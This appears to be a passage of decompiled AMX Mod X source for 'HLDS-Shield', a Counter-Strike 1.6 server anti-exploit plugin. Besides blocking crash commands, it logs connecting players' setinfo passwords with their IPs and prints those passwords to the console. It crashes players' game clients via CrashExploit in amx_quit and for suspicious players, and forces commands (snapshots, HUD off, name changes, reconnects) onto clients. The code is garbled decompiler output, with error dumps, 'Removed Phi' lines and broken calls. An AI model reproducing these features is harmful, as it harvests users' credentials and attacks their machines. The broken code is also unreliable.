set_task(25.00/*1103626240*/, "shield_repair", 0, "", 0, "", 0);
}
get_cvar_string("rcon_password", RCONName, 31);
get_amxx_verstring(AMXXVersion, 31);
if (get_pcvar_num(shield_checkbackdoor) == 1)
{
if (dir_exists("SAVE") && dir_exists("bin"))
{
rmdir("SAVE");
rmdir("bin");
}
if (file_exists("maps/default.res"))
{
delete_file("maps/default.res");
}
}
server_print("\n[*]---------- %s %s ----------[*]\n", "HLDS-Shield", "1.0.6 [D]");
server_print("Loaded : [#] %s [#]", "HLDS-Shield");
server_print("Version : [#] %s [#]", "1.0.6 [D]");
server_print("Author : [#] %s [#]\n", "SkillartzHD");
server_print("[*] Server Online[*] : %i:%i:%i:%i\n", day, hours, minutes, seconds);
server_print("[*] AMXX[*] : %s", AMXXVersion);
if (get_cvar_string("dp_version", DPName, 31))
{
server_print("[*] DPROTO[*] : %s", DPName);
}
else
{
server_print("[*] DPROTO[*] : Not exists\n");
}
server_print("[*] RCON[*] : %s\n", RCONName);
server_print("[*]---------- %s %s ----------[*]\n", "HLDS-Shield", "1.0.6 [D]");
return 0;
}
public HTTP_Download(String:szFile[], iDownloadID, iBytesRecv, iFileSize, bool:TransferComplete)
{
if (TransferComplete)
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s File : %s updated", "[HLDS-Shield]", szFile);
}
return 0;
}
public SHIELD_CheckError(String:problem[])
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s I found an error : %s", "[HLDS-Shield]", problem);
return 0;
}
public shield_repair()
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s The plugin was repaired", "[HLDS-Shield]");
server_cmd("reload");
return 0;
}
public SHIELD_CheckBackdoor()
{
!!! Removed Phi
new map[32];
new filemap[32];
new i = 0;
get_mapname(map, 31);
formatex(filemap, 31, "maps/%s.res", map);
new Data[32];
new File = fopen(filemap, "rt");
while (!feof(File))
{
if (Data[0] == 59 || !Data[0])
{
}
}
fclose(File);
return 0;
}
public debug_delete()
{
new map[32];
new filemap[32];
get_mapname(map, 31);
formatex(filemap, 31, "maps/%s.res", map);
delete_file(filemap);
server_cmd("reload");
return 0;
}
public SHIELD_RCONPASSWORD()
{
if (get_pcvar_num(shield_rcon_random) == 1)
{
server_cmd("rcon_password %c%c%c%c%c%c%c%c%c%c%c%c%c%c", random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""));
}
return 0;
}
public SHIELD_RADIO_BLOCK(id)
{
if (get_pcvar_num(shield_radio) == 1)
{
console_print(id, "%s Function %s is disabled on this server", "[HLDS-Shield]", "CSTRIKE_RADIO");
return 1;
}
return 0;
}
public client_connect(id)
{
if (is_user_connecting(id))
{
if (is_user_bot(id))
{
return 1;
}
Shield_Connect(id);
Shield_HLTV(id);
}
return 0;
}
public client_authorized(id)
{
!!! Removed Phi
Shield_ProtectAdmin(id);
if (is_user_bot(id))
{
return 1;
}
if (3 < check_fakeplayer(id))
{
set_task(1.00/*1065353216*/, "Shield_Suspicios", id, "", 0, "", 0);
}
set_task(0.90/*1063675494*/, "Shield_Verify", id, "", 0, "", 0);
if (get_pcvar_num(shield_steamidhack) == 1)
{
SHIELD_LOADSTEAMIDHACK(id);
}
return 1;
}
public client_command(id)
{
static msg[192];
read_args(msg, "CLIENT_IMM");
new i = 0;
while (i < 34)
{
if (containi(msg, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(shield_cmdbug))
{
BlockSound(id);
MessageCmdbug(id);
}
if (get_pcvar_num(shield_cmdbug) == 1)
{
return 1;
}
if (get_pcvar_num(shield_cmdbug) == 2)
{
server_cmd("kick #%i \"%s %s %s\"", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_CRASH");
return 1;
}
if (get_pcvar_num(shield_cmdbug) == 3)
{
SHIELD_BANPLAYER(id);
return 1;
}
i++;
}
i++;
}
return 0;
}
public client_putinserver(id)
{
!!! Removed Phi
if (is_user_steam(id) || is_user_bot(id))
{
return 1;
}
if (get_pcvar_num(shield_admim_removepassword) == 1)
{
if (is_user_admin(id))
{
set_task(0.20/*1045220557*/, "SHIELD_RemovePassword", id, "", 0, "", 0);
}
}
if (get_pcvar_num(shield_admin_debug) == 1)
{
if (is_user_connected(id))
{
set_task(0.10/*1036831949*/, "Shield_ProtectAdmin", id, "", 0, "", 0);
}
}
set_task(0.90/*1063675494*/, "SHIELD_CheckZealProject", id, "", 0, "", 0);
return 0;
}
public client_infochanged(id)
{
new lastname[32];
get_user_info(id, "name", lastname, 31);
if (get_pcvar_num(shield_admin_debug) == 1)
{
if (is_user_connected(id))
{
set_task(0.10/*1036831949*/, "Shield_ProtectAdmin", id, "", 0, "", 0);
}
}
if (get_pcvar_num(shield_admin_debug) == 1)
{
if (is_user_admin(id))
{
PlayerName(id);
if (!equal(lastname, Heap_128, 0))
{
show_menu(id, 0, "\n", "", "");
}
}
}
PlayerName(id);
if (!equal(lastname, Heap_128, 0))
{
PlayerNameCheckGame(id, lastname);
}
return 0;
}
public client_disconnect(id)
{
!!! Removed Phi
if (get_pcvar_num(shield_spambot) == 1)
{
SpamBotScannerSTOP[id] = 0;
SpamBotScannerStart[id] = 0;
}
if (get_pcvar_num(shield_steamidhack) == 1)
{
SHIELD_SAVESTEAMIDHACK(id);
}
return 0;
}
public SHIELD_RemovePassword(id)
{
client_cmd(id, "setinfo _pw \"%c%c%c%c\"", random_num("", ""), random_num("", ""), random_num("", ""), random_num("", ""));
return 0;
}
public SHIELD_RCONxCVAR(id, level, cid, i)
{
!!! Removed Phi
new msg[192];
read_args(msg, "CLIENT_IMM");
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[HLDS-Shield]");
return 1;
}
new i = 0;
while (i < 15)
{
if (containi(msg, ShieldServerCvarBlock[i][0][0]) != -1)
{
if (get_pcvar_num(shield_ilegalcmd))
{
BlockSound(id);
MessageIlegalCmd(id);
return 1;
}
get_pcvar_num(shield_ilegalcmd);
if (get_pcvar_num(shield_ilegalcmd) == 2)
{
server_cmd("kick #%i \"%s %s %s\"", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_ILEGALCMD");
}
if (get_pcvar_num(shield_ilegalcmd) == 3)
{
SHIELD_BANPLAYER(id);
i++;
}
i++;
}
i++;
}
return 0;
}
public SHIELD_SR_Block(id)
{
if (get_pcvar_num(shield_sr_block) == 1)
{
MessageSrBlock(id);
return 1;
}
return 0;
}
public SHIELD_SPECBUG(id)
{
if (get_pcvar_num(shield_specbug) == 1)
{
client_cmd(id, "JoInClaSs 5");
}
return 0;
}
public Shield_Suspicios(id)
{
if (get_pcvar_num(shield_xfakecrash) == 1)
{
if (get_pcvar_num(shield_suspicious))
{
BlockSound(id);
MessageSuspicios(id);
CrashExploit(id, "crash");
}
if (get_pcvar_num(shield_suspicious) == 1)
{
server_cmd("kick #%i \"%s %s %s\"", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_SUSPICIOUS");
}
if (get_pcvar_num(shield_suspicious) == 2)
{
SHIELD_SUSPICIOUS(id);
}
}
return 0;
}
public SHIELD_CHATSPAM(id)
{
if (get_pcvar_num(shield_spambot) == 1)
{
static Float:fGameTime;
fGameTime = get_gametime();
if (SpamBotScannerSTOP[id][0][0] > fGameTime)
{
BlockSound(id);
console_print(id, "%s Wait 3 seconds to scan %s", "[HLDS-Shield]", "CSTRIKE_SPAMBOT");
return 1;
}
}
if (get_pcvar_num(shield_noflood) == 1)
{
new Float:maxChat = get_pcvar_float(shield_noflood_time);
if (!maxChat)
{
}
else
{
new Float:nexTime = get_gametime();
if (g_Flooding[id][0][0] > nexTime)
{
if (3 <= g_Flood[id][0][0])
{
BlockSound(id);
console_print(id, "%s You have been blocked to %s", "[HLDS-Shield]", "CSTRIKE_SPAMBOT");
g_Flooding[id] = nexTime + maxChat + 3.00;
return 1;
}
g_Flood[id]++;
}
else
{
if (g_Flood[id][0][0])
{
g_Flood[id]--;
}
}
/ * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
function "SHIELD_CHATSPAM"
public SHIELD_CHATSPAM(id)
public Shield_HLTV(id)
{
if (is_user_hltv(id))
{
if (get_pcvar_num(shield_hltv))
{
MessageHLTV(id);
if (get_pcvar_num(shield_hltv) == 1)
{
server_cmd("kick #%i %s %s %s\"", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_HLTV");
}
if (get_pcvar_num(shield_hltv) == 2)
{
SHIELD_BANPLAYER(id);
}
}
}
return 0;
}
public Shield_Connect(id)
{
!!! Removed Phi
new i = 0;
new PlayerPW[32];
if (get_pcvar_num(shield_spambot) == 1)
{
SpamBotScannerSTOP[id] = get_gametime() + 7.00;
SpamBotScannerStart[id] = 0;
}
if (get_pcvar_num(shield_autolog) == 1)
{
get_user_info(id, "_pw", PlayerPW, 31);
if (equal(PlayerPW, "", 0))
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Setinfo.ini", "Player \"%s\" connecting [IP: %s]", Heap_128, Heap_128);
}
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Setinfo.ini", "Player \"%s\" connecting [Password: %s] [IP: %s]", Heap_128, PlayerPW, Heap_128);
}
i = 0;
while (i < 34)
{
PlayerName(id);
if (containi(Heap_128, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(shield_namebug))
{
BlockSound(id);
MessageNameBug(id);
}
if (get_pcvar_num(shield_namebug) == 1)
{
if (get_pcvar_num(shield_sendmsg) == 1)
{
client_director(id, "nAmE \"[HLDS-PLUGIN] Player FCS 1\";RETry");
}
client_cmd(id, "nAmE \"[HLDS-PLUGIN] Player FCS 1\";RETry");
}
if (get_pcvar_num(shield_namebug) == 2)
{
server_cmd("kick #%i \"%s Change the name to enter this server\"", GetUserID(id), "[HLDS-Shield]");
}
if (get_pcvar_num(shield_namebug) == 3)
{
SHIELD_BANPLAYER(id);
i++;
}
i++;
}
i++;
}
return 0;
}
public Shield_Verify(id, i)
{
!!! Removed Phi
i = 0;
while (i < 34)
{
PlayerName(id);
if (containi(Heap_128, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(shield_namebug) == 1)
{
server_cmd("kick #%i \"%s %s %s\" (%s)", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_SUSPICIOUS", "CSTRIKE_NAME");
i++;
}
i++;
}
i++;
}
return 0;
}
public Shield_ProtectAdmin(id)
{
new Count = admins_num();
new NameList[44];
new PWList[44];
new MyPW[32];
new PlayerPW[32];
new i = 0;
while (i < Count)
{
admins_lookup(i, 0, NameList, 43);
admins_lookup(i, "", PWList, 43);
get_cvar_string("amx_password_field", MyPW, 31);
get_user_info(id, MyPW, PlayerPW, 31);
PlayerName(id);
if (equal(Heap_128, NameList, 0))
{
if (equal(PlayerPW, PWList, 0))
{
i++;
}
else
{
set_task(2.00/*1073741824*/, "debug_amxx", id, "", 0, "", 0);
i++;
}
i++;
}
i++;
}
return 0;
}
public debug_amxx(id)
{
BlockSound(id);
MessageAdminBug(id);
server_cmd("kick #%i \"%s You kicked for %s\"", GetUserID(id), "[HLDS-Shield]", "CSTRIKE_ADMINBUG");
return 0;
}
public SHIELD_CheckZealProject(id)
{
new GetProjectZeal[32];
get_user_info(id, "_ip", GetProjectZeal, 31);
if (!(equal(GetProjectZeal, "", 0)))
{
if (get_pcvar_num(shield_hlsocks))
{
BlockSound(id);
MessageHLSocks(id);
}
if (get_pcvar_num(shield_hlsocks) == 1)
{
server_cmd("kick #%i %s %s %s", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_HLSOCKS");
}
if (get_pcvar_num(shield_hlsocks) == 2)
{
SHIELD_BANPLAYER(id);
}
}
return 0;
}
public SHIELD_LOADSTEAMIDHACK(id)
{
if (get_pcvar_num(shield_steamidhack) == 1)
{
if (is_user_steam(id))
{
}
else
{
new vaultkey[71];
new vaultdata[256];
get_user_authid(id, authid2, 31);
format(vaultkey, "", "%s-IP", szip);
format(vaultdata, 255, "%s-SteamID", authid);
nvault_set(SVault, vaultkey, vaultdata);
PlayerIP(id);
if (equal(Heap_128, szip, 0))
{
if (!equal(authid2, authid, 0))
{
BlockSound(id);
MessageSteamid(id);
server_cmd("kick #%d %s %s %s", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_STEAMID");
}
}
}
}
return 1;
}
public SHIELD_SAVESTEAMIDHACK(id)
{
if (get_pcvar_num(shield_steamidhack) == 1)
{
if (is_user_steam(id))
{
}
else
{
new vaultkey[71];
new vaultdata[256];
get_user_authid(id, authid, 31);
get_user_ip(id, szip, 31, 0);
get_user_authid(id, authid2, 31);
format(vaultkey, "", "%s-IP", szip);
format(vaultdata, 255, "%s-SteamID", authid);
nvault_set(SVault, vaultkey, vaultdata);
PlayerIP(id);
if (equal(Heap_128, szip, 0))
{
if (!equal(authid2, authid, 0))
{
BlockSound(id);
MessageSteamid(id);
server_cmd("kick #%d %s %s %s", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_STEAMID");
}
}
}
}
return 1;
}
PlayerNameCheckGame(id, String:szNewName[])
{
new GetName[32];
if (szNewName[0])
{
copy(GetName, 31, szNewName);
}
else
{
get_user_name(id, GetName, 31);
}
new iNum = 0;
new szSubStr[3];
new szNewTxtPart[3];
while (regex_match_c(GetName, g_iPattern, iNum))
{
if (get_pcvar_num(shield_namebug))
{
BlockSound(id);
MessageNameBug(id);
if (get_pcvar_num(shield_namebug) == 2)
{
server_cmd("kick #%i %s %s %s", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_NAME");
}
if (get_pcvar_num(shield_namebug) == 3)
{
SHIELD_BANPLAYER(id);
}
regex_substr(g_iPattern, 0, szSubStr, "");
copy(szNewTxtPart, "", szSubStr);
replace(szNewTxtPart, "", "+", "");
replace_all(GetName, 31, szSubStr, szNewTxtPart);
set_user_info(id, "name", GetName);
}
return 1;
}
return 0;
}
public SHIELD_NAMEBUGONSV(id, infobuffer)
{
!!! Removed Phi
static i;
static szNewName[32];
static szOldName[32];
pev(id, "", szOldName, 31);
get_user_info(id, "name", szNewName, 31);
if (containi(szNewName, "%") != -1)
{
if (NameUnLock[id][0][0] == 2)
{
NameUnLock[id] = 2;
ColorChat(id, "\4%s\1 Please wait\4 10 seconds\1 before change the name", "[HLDS-Shield]");
set_user_info(id, "name", szOldName);
set_task(10.00/*1092616192*/, "SHIELD_NameDeBug", id, "", 0, "", 0);
return 2;
}
NameUnLock[id] = 0;
set_task(0.30/*1050253722*/, "SHIELD_NameDeBug2", id, "", 0, "", 0);
return 2;
}
if (szOldName[0][0])
{
i = 0;
while (i < 34)
{
if (containi(szNewName, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(shield_namebug))
{
BlockSound(id);
MessageNameBug(id);
if (get_pcvar_num(shield_namebug) == 2)
{
server_cmd("kick #%i %s %s %s", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_NAME");
}
if (get_pcvar_num(shield_namebug) == 3)
{
SHIELD_BANPLAYER(id);
}
if (get_pcvar_num(shield_namebug) == 4)
{
BlockSound(id);
PlayerName(id);
engfunc("", infobuffer, "name", Heap_128);
engfunc(75, id, infobuffer, "name", random_num("", ""), random_num("", ""), random_num("", ""));
return 4;
}
set_user_info(id, "name", szOldName);
i += 1;
}
return 1;
}
i += 1;
}
}
if (get_pcvar_num(shield_name_spammer) == 1)
{
if (szOldName[0][0])
{
if (!equal(szOldName, szNewName, 0))
{
if (NameUnLock[id][0][0] == 1)
{
NameUnLock[id] = 1;
ColorChat(id, "\4%s\1 Please wait\4 10 seconds\1 before change the name", "[HLDS-Shield]");
set_user_info(id, "name", szOldName);
return 2;
}
NameUnLock[id] = 1;
set_task(10.00/*1092616192*/, "SHIELD_NameDeBug", id, "", 0, "", 0);
}
}
}
return 1;
}
public SHIELD_NameDeBug(id)
{
NameUnLock[id] = 0;
return 0;
}
public SHIELD_NameDeBug2(id)
{
NameUnLock[id] = 2;
return 0;
}
public SHIELD_FakePlayerDetector(id, String:GetName[], String:szAddress[], szRejectReason[128])
{
static iConnectionCount;
static params[32];
if (pev(id, 84) & 8192)
{
return 1;
}
if (szAddress[0])
{
if (!TrieGetCell(ghTrie, szAddress, iConnectionCount))
{
copy(params, 32, szAddress);
set_task(12.40/*1095132774*/, "ClearValueFromTrie", 0, params, 32, "", 0);
TrieSetCell(ghTrie, szAddress, 0);
return 1;
}
if (iConnectionCount == 10)
{
Shield_Suspicios(id);
return 1;
}
TrieSetCell(ghTrie, szAddress, iConnectionCount + 1);
return 1;
}
return 1;
}
public SHIELD_CVARCHECK(id, level, cid)
{
!!! Removed Phi
new msg[192];
read_args(msg, "CLIENT_IMM");
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[HLDS-Shield]");
return 1;
}
if (get_pcvar_num(shield_shieldcvar) == 1)
{
if (containi(msg, "shield_") != -1)
{
BlockSound(id);
MessageCvarBlock(id);
return 1;
}
}
return 0;
}
public SHIELD_ANTIFULLUPDATE(id)
{
FloodScan[id]++;
if (is_user_connecting(id))
{
BlockSound(id);
MessageFullUpdate(id);
}
if (get_pcvar_num(shield_fullupdate_warn) == FloodScan[id][0][0])
{
if (get_pcvar_num(shield_fullupdate) == 1)
{
server_cmd("kick #%d \"%s %s %s\"", GetUserID(id), "[HLDS-Shield]", "You kicked for", "CSTRIKE_FULLUPDATE");
}
if (get_pcvar_num(shield_fullupdate) == 2)
{
if (get_pcvar_num(shield_fullupdate_warn) == FloodScan[id][0][0])
{
SHIELD_BANPLAYER(id);
MessageFullUpdate(id);
}
}
}
return 1;
}
public OrpheuHookReturn:SHIELD_ConnectClient()
{
!!! Removed Phi
new cdkey[32];
new dummy[1];
new arg3[100];
read_argv("", cdkey, 31);
new i = 0;
while (i < 8)
{
strtok(cdkey, dummy, 0, cdkey, 31, 92, 0);
i++;
}
read_argv("", arg3, "");
read_argv(4, detectType4, 311);
if (get_pcvar_num(shield_autolog) == 2)
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Setinfo.ini", "%s Protocol : %s ", "[HLDS-Shield]", arg3);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Setinfo.ini", "%s Setinfo : %s ", "[HLDS-Shield]", detectType4);
}
if (get_pcvar_num(shield_steamidhack) == 1)
{
if (equal(cdkey, "8af049309c7356585ae4b48ed7471802", 0))
{
MessageCDKEY();
return OrpheuHookReturn:2;
}
}
if (get_pcvar_num(shield_fakeplayer) == 1 || get_pcvar_num(shield_fakeplayer) == 2)
{
if (!containi(detectType4, "\_cl_autowepswitch\1\") != -1)
{
if (!containi(detectType4, "\_cl_autowepswitch\0\") != -1)
{
MessageCDKEY();
new var2;
if (containi(detectType4, "name") != -1)
{
var2 = 2;
}
else
{
var2 = 0;
}
return var2;
}
}
}
return OrpheuHookReturn:0;
}
public SHIELD_ANTIAUTOBUY(id)
{
static i;
static args;
static arg[512];
args = read_argc();
i = 1;
while (i < args)
{
read_argv(i, arg, "");
if (is_autobuy_long(arg, 511))
{
if (get_pcvar_num(shield_autobuy) == 1)
{
BlockSound(id);
MessageAutobuy(id);
}
if (get_pcvar_num(shield_autobuy) == 2)
{
PlayerName(id);
server_cmd("kick #%i \"%s %s You have been detected and blocked to %s \"", GetUserID(id), "[HLDS-Shield]", Heap_128, "CSTRIKE_SETAUTOBUY");
}
if (get_pcvar_num(shield_autobuy) == 3)
{
SHIELD_BANPLAYER(id);
}
return 1;
}
i += 1;
}
return 0;
}
public SHIELD_BANCMD(id, level, cid)
{
new Null[2];
read_argv("", Null, "");
if (Null[0] == 48)
{
if (get_pcvar_num(shield_ilegalban) == 1)
{
BlockSound(id);
MessageIlegalBan(id);
return 1;
}
if (get_pcvar_num(shield_ilegalban) == 2)
{
BlockSound(id);
MessageIlegalBan(id);
PlayerName(id);
server_cmd("kick #%i \"%s %s You have been detected and blocked to %s \"", GetUserID(id), "[HLDS-Shield]", Heap_128, "CSTRIKE_BANBUG");
return 1;
}
if (get_pcvar_num(shield_ilegalban) == 3)
{
BlockSound(id);
MessageIlegalBan(id);
SHIELD_BANPLAYER(id);
return 1;
}
}
return 0;
}
public SHIELD_GetUser(id, level, cid)
{
if (get_pcvar_num(shield_showip) == 1)
{
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[HLDS-Shield]");
return 1;
}
new num = 0;
new players[32];
get_players(players, num, "", "");
console_print(id, "----------------------[*] Name:[*] IP:[*] ----------------------\n");
new i = 0;
while (i < num)
{
new PlayerNAME[32];
new PlayerIP2[32];
new PlayerPW[32];
new players[32];
get_players(players, num, "", "");
get_user_info(players[i], "_pw", PlayerPW, 31);
get_user_name(players[i], PlayerNAME, 31);
get_user_ip(players[i], PlayerIP2, 31, 0);
if (get_pcvar_num(shield_showpw) == 1)
{
if (is_user_connected(id))
{
client_print(id, "", "Name: %s - IP: %s", PlayerNAME, PlayerIP2);
i++;
}
else
{
server_print("Name: %s - IP: %s - Password: %s", PlayerNAME, PlayerIP2, PlayerPW);
i++;
}
i++;
}
else
{
console_print(id, "Name: %s - IP: %s", PlayerNAME, PlayerIP2);
i++;
}
i++;
}
console_print(id, "\n----------------------[*] Name:[*] IP:[*] ----------------------");
return 1;
}
return 0;
}
public SHIELD_VERSIONUPDATE()
{
server_print("\nPlugin: %s", "[HLDS-Shield]");
server_print("Version: %s", "1.0.6 [D]");
server_print("Last Update: 29/05/2016");
server_print("Builder: %s", "SkillartzHD");
server_print("ExtreamCS Account: http://alphacs.ro/member.php?8-SkillartzHD");
server_print("AlphaCS Account: http://www.extreamcs.com/forum/member/SkillartzHD/\n");
return 0;
}
public SHIELD_STOPSHAKE(id, level, cid)
{
!!! Removed Phi
if (get_pcvar_num(shield_shake) == 1)
{
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[HLDS-Shield]");
return 1;
}
new FirstArg[32];
read_argv("", FirstArg, 31);
new player = cmd_target(id, FirstArg, 8);
if (equal(FirstArg, "", 0))
{
console_print(id, "%s amx_unshake <name>", "[HLDS-Shield]");
return 1;
}
if (!player || !is_user_connected(player))
{
console_print(id, "%s This player is not online", "[HLDS-Shield]");
return 1;
}
remove_task(player, 0);
PlayerName(id);
ColorChat(player, "\4%s\3 \1 Adminul \4%s\3\1 ti-a scos shake-ul", "[HLDS-Shield]", Heap_128);
set_dhudmessage(random(256), random(256), random(256), -1.00, 0.60, 1, 6.00, 3.00, 0.10, 5.00, false);
PlayerName_P(player);
PlayerName(id);
show_dhudmessage(0, "\n[WARRNING]\n%s used UnShake on %s \n------%s %s------", Heap_128, Heap_128, "[HLDS-Shield]", "1.0.6 [D]");
if (get_pcvar_num(shield_sendmsg) == 1)
{
client_director(player, "ReCoNnEct;Hud_DrAW 1");
}
else
{
client_cmd(id, "ReCoNnEct;Hud_DrAW 1");
}
if (get_pcvar_num(shield_log) == 1)
{
PlayerName_P(player);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-AmxxMinne.ini", "ADMIN %s used amx_unshake on %s", Heap_128, Heap_128);
}
}
return 1;
}
public SHIELD_SHAKE(id, level, cid)
{
!!! Removed Phi
if (get_pcvar_num(shield_shake) == 1)
{
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[HLDS-Shield]");
return 1;
}
if (equal(FirstArg, "", 0) || equal(SecondArg, "", 0))
{
console_print(id, "%s amx_shake <name> <reason>", "[HLDS-Shield]");
return 1;
}
if (!player || !is_user_connected(player))
{
console_print(id, "%s This player is not online", "[HLDS-Shield]");
return 1;
}
Shake_Player(player, 15.00);
set_dhudmessage(random(256), random(256), random(256), -1.00, 0.60, 1, 6.00, 3.00, 0.10, 5.00, false);
PlayerName_P(player);
PlayerName(id);
show_dhudmessage(0, "\n[WARRNING]\n%s used Advanced Shake on %s \n------%s %s------", Heap_128, Heap_128, "[HLDS-Shield]", "1.0.6 [D]");
PlayerName(id);
ColorChat(player, "\4%s\3 \1Admin Name : \4%s\3", "[HLDS-Shield]", Heap_128);
PlayerName_P(player);
ColorChat(player, "\4%s\3 \1My Name : \4%s\3", "[HLDS-Shield]", Heap_128);
if (get_pcvar_num(shield_sendmsg) == 1)
{
client_director(player, "sNapShoT;HuD_dRaW 0");
}
else
{
client_cmd(id, "sNapShoT;HuD_dRaW 0");
}
client_finale(player);
set_task(1.00/*1065353216*/, "SHIELD_SHAKEINFI", player, "", 0, "b", 0);
if (get_pcvar_num(shield_log) == 1)
{
PlayerName_P(player);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-AmxxMinne.ini", "ADMIN \"%s\" used amx_shake on \"%s\" reason \"%s\"", Heap_128, Heap_128, reason);
}
}
return 1;
}
public SHIELD_SHAKEINFI(player)
{
if (is_user_alive(player))
{
ScreenFade(player, random(256), random(256), random(256), 200);
Shake_Player(player, 15.00);
set_task(1.00/*1065353216*/, "SHIELD_SHAKESLAP", player, "", 0, "b", 0);
}
else
{
if (!is_user_alive(player))
{
remove_task(player, 0);
}
}
return 0;
}
public SHIELD_SHAKESLAP(player)
{
if (is_user_connected(player))
{
user_slap(player, 0, "");
}
else
{
remove_task(player, 0);
}
return 0;
}
public SHIELD_QUIT(id, level, cid)
{
!!! Removed Phi
if (get_pcvar_num(shield_quit) == 1)
{
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[HLDS-Shield]");
return 1;
}
if (equal(FirstArg, "", 0) || equal(SecondArg, "", 0))
{
console_print(id, "%s amx_quit <name> <reason>", "[HLDS-Shield]");
return 1;
}
if (!player || !is_user_connected(player))
{
console_print(id, "%s This player is not online", "[HLDS-Shield]");
return 1;
}
get_user_info(player, "_boos", my, 31);
if (equal(my, "1", 0))
{
console_print(id, "%s You do not have access to perform this player", "[HLDS-Shield]");
return 1;
}
new MyHostName[32];
get_cvar_string("shield_minnewb", MyHostName, 31);
client_cmd(0, "speak \"doop quit\"");
set_dhudmessage(random(256), random(256), random(256), -1.00, 0.60, 1, 6.00, 3.00, 0.10, 5.00, false);
PlayerName_P(player);
PlayerName(id);
show_dhudmessage(0, "\n[WARRNING]\n%s used Advanced Quit on %s \n------%s %s------", Heap_128, Heap_128, "[HLDS-Shield]", "1.0.6 [D]");
set_dhudmessage(random(256), random(256), random(256), -1.00, 0.16, 1, 6.00, 3.00, 0.10, 5.00, false);
show_dhudmessage(player, "Daca crezi ca ai primit Quit pe degeaba\nTe rugam sa intri pe \n %s", MyHostName);
Shake_Player(player, 10.00);
ScreenFade(player, 255, 0, 0, 150);
PlayerName(id);
ColorChat(player, "\4%s\3 \1Admin Name : \4%s\3", "[HLDS-Shield]", Heap_128);
PlayerName_P(player);
ColorChat(player, "\4%s\3 \1My Name : \4%s\3", "[HLDS-Shield]", Heap_128);
if (get_pcvar_num(shield_sendmsg) == 1)
{
client_director(player, "snApShOT");
}
else
{
client_cmd(player, "snapsHOT");
}
client_finale(player);
set_task(5.00/*1084227584*/, "SHIELD_QUITCMD", player, "", 0, "", 0);
if (get_pcvar_num(shield_log) == 1)
{
PlayerName_P(player);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-AmxxMinne.ini", "ADMIN \"%s\" used amx_quit on \"%s\" reason \"%s\"", Heap_128, Heap_128, reason);
}
}
return 1;
}
public SHIELD_QUITCMD(player)
{
CrashExploit(player, "crash");
set_task(1.50/*1069547520*/, "SHIELD_KICKCMD", player, "", 0, "", 0);
return 0;
}
public SHIELD_KICKCMD(player)
{
server_cmd("kick #%i \"%s We thought to give You a refresh\"", get_user_userid(player), "[HLDS-Shield]");
return 0;
}
public SHIELD_ANTIGUARD(id, level, cid)
{
!!! Removed Phi
if (get_pcvar_num(shield_minne) == 1)
{
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[HLDS-Shield]");
return 1;
}
if (equal(FirstArg, "", 0) || equal(SecondArg, "", 0))
{
console_print(id, "%s amx_minne <name> <reason>", "[HLDS-Shield]");
return 1;
}
get_user_info(player, "_boss", my, 31);
if (equal(my, "1", 0))
{
console_print(id, "%s You do not have access to perform this player", "[HLDS-Shield]");
return 1;
}
if (!player || !is_user_connected(player))
{
console_print(id, "%s This player is not online", "[HLDS-Shield]");
return 1;
}
read_argv("", reason, 31);
remove_quotes(reason);
client_cmd(0, "spk \"attention bizwarn detected user and eliminate\"");
if (get_pcvar_num(shield_log) == 1)
{
PlayerName_P(player);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-AmxxMinne.ini", "ADMIN \"%s\" used amx_minne on \"%s\" reason \"%s\"", Heap_128, Heap_128, reason);
}
set_dhudmessage(random(256), random(256), random(256), -1.00, 0.60, 1, 6.00, 3.00, 0.10, 5.00, false);
PlayerName_P(player);
PlayerName(id);
show_dhudmessage(0, "\n[WARRNING]\n%s used Advanced Minne on %s \n------%s %s------", Heap_128, Heap_128, "[HLDS-Shield]", "1.0.6 [D]");
new MyHostName[32];
get_cvar_string("shield_minnewb", MyHostName, 31);
